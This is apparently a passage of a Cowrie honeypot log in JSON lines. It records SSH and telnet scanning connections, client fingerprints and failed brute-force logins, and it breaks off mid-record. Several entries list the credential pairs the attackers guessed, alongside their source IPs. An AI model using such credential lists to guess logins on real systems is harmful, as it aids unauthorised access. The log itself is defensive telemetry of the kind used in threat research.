{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:17.779680Z","src_ip":"18.218.118.203","session":"1cf90d5801fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:18.232286Z","src_ip":"18.218.118.203","session":"1cf90d5801fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47314,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cfb73267525","protocol":"telnet","message":"New connection: 170.64.224.25:47314 (159.203.135.109:23) [session: 7cfb73267525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:22.874860Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43740,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d4802f1376f","protocol":"ssh","message":"New connection: 91.92.40.4:43740 (10.17.0.5:22) [session: 8d4802f1376f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:26.872112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:26.875983Z","src_ip":"91.92.40.4","session":"8d4802f1376f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:26.957377Z","src_ip":"91.92.40.4","session":"8d4802f1376f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"test","message":"login attempt [hadoop/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:27.209555Z","src_ip":"91.92.40.4","session":"8d4802f1376f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:20:28.293937Z","src_ip":"91.92.40.4","session":"8d4802f1376f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60734,"dst_ip":"159.203.135.109","dst_port":23,"session":"79de7ee1eb6c","protocol":"telnet","message":"New connection: 170.64.224.25:60734 (159.203.135.109:23) [session: 79de7ee1eb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:21:16.373284Z"}
{"eventid":"cowrie.session.closed","duration":120.02814364433289,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:21:43.646713Z","src_ip":"170.64.224.25","session":"bec34f08571d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72206687927246,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:21:51.095228Z","src_ip":"170.64.224.25","session":"79de7ee1eb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57062,"dst_ip":"159.203.135.109","dst_port":22,"session":"d72ccaf70229","protocol":"ssh","message":"New connection: 194.59.206.2:57062 (159.203.135.109:22) [session: d72ccaf70229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:01.009400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:01.013760Z","src_ip":"194.59.206.2","session":"d72ccaf70229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:01.114835Z","src_ip":"194.59.206.2","session":"d72ccaf70229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:01.213905Z","src_ip":"194.59.206.2","session":"d72ccaf70229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.95045018196106,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:08.825200Z","src_ip":"170.64.224.25","session":"7cfb73267525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36070,"dst_ip":"159.203.135.109","dst_port":23,"session":"48fc285e83a5","protocol":"telnet","message":"New connection: 170.64.224.25:36070 (159.203.135.109:23) [session: 48fc285e83a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:23.096085Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":40520,"dst_ip":"159.203.135.109","dst_port":22,"session":"605a30971a6c","protocol":"ssh","message":"New connection: 159.65.58.200:40520 (159.203.135.109:22) [session: 605a30971a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:39.095736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:39.296390Z","src_ip":"159.65.58.200","session":"605a30971a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:39.299173Z","src_ip":"159.65.58.200","session":"605a30971a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smiaj","password":"123456","message":"login attempt [smiaj/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:40.799100Z","src_ip":"159.65.58.200","session":"605a30971a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:42.222791Z","src_ip":"159.65.58.200","session":"605a30971a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50384,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a39387bdcb","protocol":"telnet","message":"New connection: 170.64.224.25:50384 (159.203.135.109:23) [session: 58a39387bdcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:47.188782Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45870,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf0b0d48a68b","protocol":"ssh","message":"New connection: 109.237.96.109:45870 (10.17.0.5:22) [session: bf0b0d48a68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:48.665355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:48.669018Z","src_ip":"109.237.96.109","session":"bf0b0d48a68b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:48.761608Z","src_ip":"109.237.96.109","session":"bf0b0d48a68b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240283","message":"login attempt [root/240283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:49.034112Z","src_ip":"109.237.96.109","session":"bf0b0d48a68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:50.125744Z","src_ip":"109.237.96.109","session":"bf0b0d48a68b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.527774810791016,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:55.623768Z","src_ip":"170.64.224.25","session":"48fc285e83a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.18.100","src_port":42290,"dst_ip":"10.17.0.5","dst_port":22,"session":"1572306b51fe","protocol":"ssh","message":"New connection: 206.189.18.100:42290 (10.17.0.5:22) [session: 1572306b51fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:56.173394Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:22:56.275340Z","src_ip":"206.189.18.100","session":"1572306b51fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":50536,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a74769f79ab","protocol":"ssh","message":"New connection: 192.163.244.125:50536 (10.17.0.5:22) [session: 0a74769f79ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:00.753986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:00.759004Z","src_ip":"192.163.244.125","session":"0a74769f79ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:00.837549Z","src_ip":"192.163.244.125","session":"0a74769f79ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftx","password":"ftx123","message":"login attempt [ftx/ftx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:01.075071Z","src_ip":"192.163.244.125","session":"0a74769f79ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:02.156907Z","src_ip":"192.163.244.125","session":"0a74769f79ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60790,"dst_ip":"10.17.0.5","dst_port":22,"session":"87ba37e86aef","protocol":"ssh","message":"New connection: 91.92.40.4:60790 (10.17.0.5:22) [session: 87ba37e86aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:07.134779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:07.141825Z","src_ip":"91.92.40.4","session":"87ba37e86aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:07.222443Z","src_ip":"91.92.40.4","session":"87ba37e86aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"test123","message":"login attempt [hadoop/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:07.468523Z","src_ip":"91.92.40.4","session":"87ba37e86aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:08.556496Z","src_ip":"91.92.40.4","session":"87ba37e86aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce8ceb64d033","protocol":"telnet","message":"New connection: 170.64.224.25:42850 (159.203.135.109:23) [session: ce8ceb64d033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:08.805329Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":51134,"dst_ip":"159.203.135.109","dst_port":22,"session":"241c06e8a812","protocol":"ssh","message":"New connection: 182.93.7.194:51134 (159.203.135.109:22) [session: 241c06e8a812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:10.256833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:23:10.260972Z","src_ip":"182.93.7.194","session":"241c06e8a812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH 